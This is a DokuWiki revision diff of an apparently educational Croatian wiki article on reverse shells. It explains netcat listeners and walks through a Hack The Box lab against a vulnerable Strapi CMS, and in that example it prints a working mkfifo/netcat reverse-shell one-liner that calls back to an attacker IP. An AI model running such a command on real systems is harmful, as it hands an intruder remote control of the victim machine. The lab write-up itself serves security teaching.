Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.

Razlike

Slijede razlike između dviju inačica stranice.

Poveznica na ovu usporedbu

Starije izmjene na obje strane Starija izmjena
Novija izmjena
Starija izmjena
racfor_wiki:razno:reverse_shell_i_kako_ih_dobiti [2022/01/08 13:09]
kgrubesic [Poglavlje 2]
racfor_wiki:razno:reverse_shell_i_kako_ih_dobiti [2024/12/05 12:24] (trenutno)
Redak 38: Redak 38:
 Jednom kada je napadač utvrdio mogućnost RCE – a na žrtvinom računalu, najčešće će probati otići korak dalje kako bi si olakšao daljnji posao, a to je dobivanje reverse shell – a. Reverse shell je interaktivna ljuska koja omogućava lakše izvođenje naredbi na žrtvinom računalu. Postoje mnogi načini za dobivanje reverse shell – a. Metoda kojom će napadač krenuti ovisi o primjerice operacijskom sustavu ili interpreteru kojeg žrtva koristi na svojem računalu. Međutim, neovisno o putu kojeg napadač izabere, dva su koraka potrebna za dobivanje reverse shell – a. U nastavku će biti opisani koraci za dobivanje reverse shell – a na operacijskom sustavu Linux te će također biti pretpostavljeno da žrtva na svojem računalu koristi operacijski sustav Linux. Prvi korak je postavljanje tzv. listenera na svojem računalu. Taj listener sluša sve nadolazeće konekcije na određenom portu te javnoj IP adresi, odnosno, u ovom slučaju, čeka na zahtjev za konekcijom sa žrtvinog računala koji će dovesti do reverse shell – a. Listener se najčešće postavlja alatom ''netcat''. Jednom kada je listener postavljen, potrebno je izvršiti niz naredbi na žrtvinom računalu koje su najčešće sve napisane odjednom, tzv. one-liner. Te naredbe će napraviti ljusku te vratiti povratnu vezu na napadačevo računalo na portu specificiranom kod postavljanja listenera. Kao što je već rečeno, programski jezik u kojem će se pisati one-liner ovisi o interpreteru na žrtvinom računalu. Međutim, ne znamo uvijek sa sigurnošću o kojem se interpreteru radi pa je stoga potrebno ići metodom pokušaja i pogreške. Samim time, u većini slučajeva se pretpostavlja kako se radi o bash – u, obzirom da je to najčešći interpreter kojeg računala sa Linux operacijskim sustavom koriste. Jednom kada je napadač utvrdio mogućnost RCE – a na žrtvinom računalu, najčešće će probati otići korak dalje kako bi si olakšao daljnji posao, a to je dobivanje reverse shell – a. Reverse shell je interaktivna ljuska koja omogućava lakše izvođenje naredbi na žrtvinom računalu. Postoje mnogi načini za dobivanje reverse shell – a. Metoda kojom će napadač krenuti ovisi o primjerice operacijskom sustavu ili interpreteru kojeg žrtva koristi na svojem računalu. Međutim, neovisno o putu kojeg napadač izabere, dva su koraka potrebna za dobivanje reverse shell – a. U nastavku će biti opisani koraci za dobivanje reverse shell – a na operacijskom sustavu Linux te će također biti pretpostavljeno da žrtva na svojem računalu koristi operacijski sustav Linux. Prvi korak je postavljanje tzv. listenera na svojem računalu. Taj listener sluša sve nadolazeće konekcije na određenom portu te javnoj IP adresi, odnosno, u ovom slučaju, čeka na zahtjev za konekcijom sa žrtvinog računala koji će dovesti do reverse shell – a. Listener se najčešće postavlja alatom ''netcat''. Jednom kada je listener postavljen, potrebno je izvršiti niz naredbi na žrtvinom računalu koje su najčešće sve napisane odjednom, tzv. one-liner. Te naredbe će napraviti ljusku te vratiti povratnu vezu na napadačevo računalo na portu specificiranom kod postavljanja listenera. Kao što je već rečeno, programski jezik u kojem će se pisati one-liner ovisi o interpreteru na žrtvinom računalu. Međutim, ne znamo uvijek sa sigurnošću o kojem se interpreteru radi pa je stoga potrebno ići metodom pokušaja i pogreške. Samim time, u većini slučajeva se pretpostavlja kako se radi o bash – u, obzirom da je to najčešći interpreter kojeg računala sa Linux operacijskim sustavom koriste.
  
-===== Poglavlje 3 =====+===== Primjer dobivanja reverse shell - a =====
  
-===== Poglavlje ... =====+U idućem primjeru opisat će se postupak dobivanja reverse shell – a na jednom od ranjivih računala sa tzv. Hack The Box platforme na kojoj je cilj doći do root pristupa na ranjivom računalu. Bez detaljnog opisivanja scenarija, radi se o računalu koje koristi Strapi CMS verzije 3.0.0-beta.17.4. Ta verzija ranjiva je na RCE (CVE-2019-18818, CVE-2019-19609) te je samim time bilo moguće pokušati dobiti reverse shell. Koristeći jedan od javno poznatih exploita za navedenu ranjivost, omogućen nam je RCE. Idući korak je dobivanje reverse shell – a. Kao što je navedeno u prošlom odlomku, prvo je potrebno postaviti listener na napadačevom računalu. To je u ovom slučaju učinjeno naredbom ''nc -lvnp 1312''. Zatim je potrebno napisati ¬one-liner koji će napadaču vratiti reverse shell sa žrtvinog računala. U ovom primjeru, to je napravljeno naredbom ''rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.132 1312 >/tmp/f''
 +{{ :racfor_wiki:razno:1.png?400 |}} 
 +U ovom slučaju, nije korištena standardna netcat naredba za dobivanje reverse shell – a. Razlog tome je što ova naredba radi čak i ako je na žrtvinom računala instalirana verzija netcata koja ne podržava -e opciju koju koristi „tradicionalna“ naredba za dobivanje reverse shell – a. Ova naredba u suštini radi ono što radi netcat, uspostavlja dvosmjernu TCP vezu između žrtvinog i napadačevog računala na navedenom portu. Nakon izvršavanja one-liner – a, dobiva se reverse shell te napadač ima ovlasti korisnika strapi na žrtvinom računalu. U primjeru se pristup potvrđuje naredbom ''whoami''
 +{{ :racfor_wiki:razno:2.png?400 |}} 
 +===== Zaključak =====
  
 +Kao što je vidljivo u prethodnom primjeru, iskorištavanje ranjivosti koja omogućava RCE te samim time dobivanje reverse shell – a lakše je nego što bi netko mislio na prvu. Ne postoji apsolutna obrana od RCE ranjivosti, ali sustavi se mogu ojačati pravilnim postavljanjem firewall – ova te tzv. proxy poslužitelja. Samim time, današnje sustave je vrlo bitno držati ažurnima kako bi se umanjila površina napada, a samim time i vjerojatnost da se napad dogodi.
  
 +===== Literatura =====
  
 +[1] [[https://www.wallarm.com/what/the-concept-of-rce-remote-code-execution-attack]]
  
 +[2] [[https://www.netsparker.com/blog/web-security/understanding-reverse-shells/]]
  
-===== Zaključak ===== +[3] [[https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/]]
- +
- +
- +
-===== Literatura ===== +
- +
-[1] [[http://books.google.hr/books?id=mFJe8ZnAb3EC&printsec=frontcover#v=onepage&q&f=false|Plass, Jan L., Roxana Moreno, and Roland Brünken. Cognitive Load Theory. Cambridge University Press, 2010.]]+
  
-[2] [[http://www.google.com/books?id=duWx8fxkkk0C&printsec=frontcover#v=onepage&q&f=false|Mayer, Richard E. The Cambridge handbook of multimedia learning. Cambridge University Press, 2005.]]+[4] [[https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet]]
  
-[3] [[http://www.cogtech.usc.edu/publications/kirschner_Sweller_Clark.pdf|Kirschner, P. A, Sweller, J. and Clark, R. E. Why minimal guidance during instruction does not work: An analysis of the failure of constructivist, discovery, problem-based, experiential, and inquiry-based teaching. Educational psychologist 41, no. 2, pp 75-86, 2006]]+[5] [[https://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-127498]]
  
  
racfor_wiki/razno/reverse_shell_i_kako_ih_dobiti.1641647357.txt.gz · Zadnja izmjena: 2024/12/05 12:23 (vanjsko uređivanje)
Dieses Dokuwiki verwendet ein von Anymorphic Webdesign erstelltes Thema.
CC Attribution-Share Alike 4.0 International
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0